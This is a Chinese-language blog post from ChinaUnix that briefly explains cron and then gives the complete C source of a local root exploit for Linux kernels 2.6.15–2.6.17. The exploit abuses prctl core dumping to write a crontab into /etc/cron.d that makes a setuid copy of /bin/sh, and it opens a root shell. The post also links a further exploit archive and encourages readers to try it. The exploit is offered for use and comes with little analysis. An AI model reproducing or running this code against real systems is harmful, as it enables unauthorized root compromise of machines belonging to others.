博客首页 注册 建议与交流 排行榜 加入友情链接
推荐 投诉 搜索: 帮助

Unix爱好者家园

卓越源代码  
   sdccf.cublog.cn
关于作者  
姓名:sdccf
职业:chinapost
年龄:36
位置:sd
个性介绍:

我的分类  




获取linux 2.6.15 root权限

 
先介绍下cron,crontab文件可以让系统定时执行工作(相当于windows上的task计划),Cron是一个常驻程序(daemon),在开机时激活cron的daemon时,它会自动去检查相关目录,看看是否有任何cron文件。每一个user的可以去设定自己所要排定执行的工作。系统会定期执行 /etc/下的cron.d、cron.daily、cron.hourly、cron.weekly、cron.monthly目录下的命令。
我们关心的是怎么让它产生core dump,然后获取root权限。
正文]:
/*
 *getroot.c
 * 2006/11/08 Linux 2.6.15 Exp
 * Modified by gz1X <gz1X@tom.com>
 * Thx to:
 *
  • Marco Ivaldi  <raptor@0xdeadbeef.info>
     *
  • Julien TINNES
     *
     * Usage:
     * $ gcc getroot.c -o getroot -Wall
     * $ ./getroot
     *
     * test on dubuntu 2.6.15-23-686
     * theoretically it will work on 2.6.15-2.6.17
     */
    #include <stdio.h>
    #include <sys/resource.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <signal.h>
    #include <sys/prctl.h>
  • char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root    chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";
    int main() {
        int id,i;
        struct rlimit   corelimit={RLIM_INFINITY, RLIM_INFINITY};
        system("cp /bin/sh /tmp/sh");
        setrlimit(RLIMIT_CORE, &corelimit);
        if ( !( id = fork() )) {
            chdir("/etc/cron.d");
            prctl(PR_SET_DUMPABLE, 2);
            sleep(200);
            exit(1);
        }
        kill(id, SIGSEGV);
        fprintf(stderr, "Getting the root shell.Please wait...\n");
        for (i = 0; i < 120; i++) {
            fprintf(stderr, ".");
            sleep(1);
        }
        fprintf(stderr,"\n");       
        system("/tmp/sh");
        return 1;   
    }

    [*[下载]:
    附上Julien TINNES的攻击源代码,大家可以尝试之。攻击效果非常好。各种linux平台都没问题。
    Julien TINNES-exp.zip 
    just enjoy!
    :-)

     发表于: 2008-04-27,修改于: 2008-04-27 23:09 已浏览185次,有评论0条 推荐 投诉

      网友评论

      发表评论



    Copyright © 2001-2006 ChinaUnix.net All Rights Reserved

    感谢所有关心和支持过ChinaUnix的朋友们
    页面生成时间:6.43799

    京ICP证041476号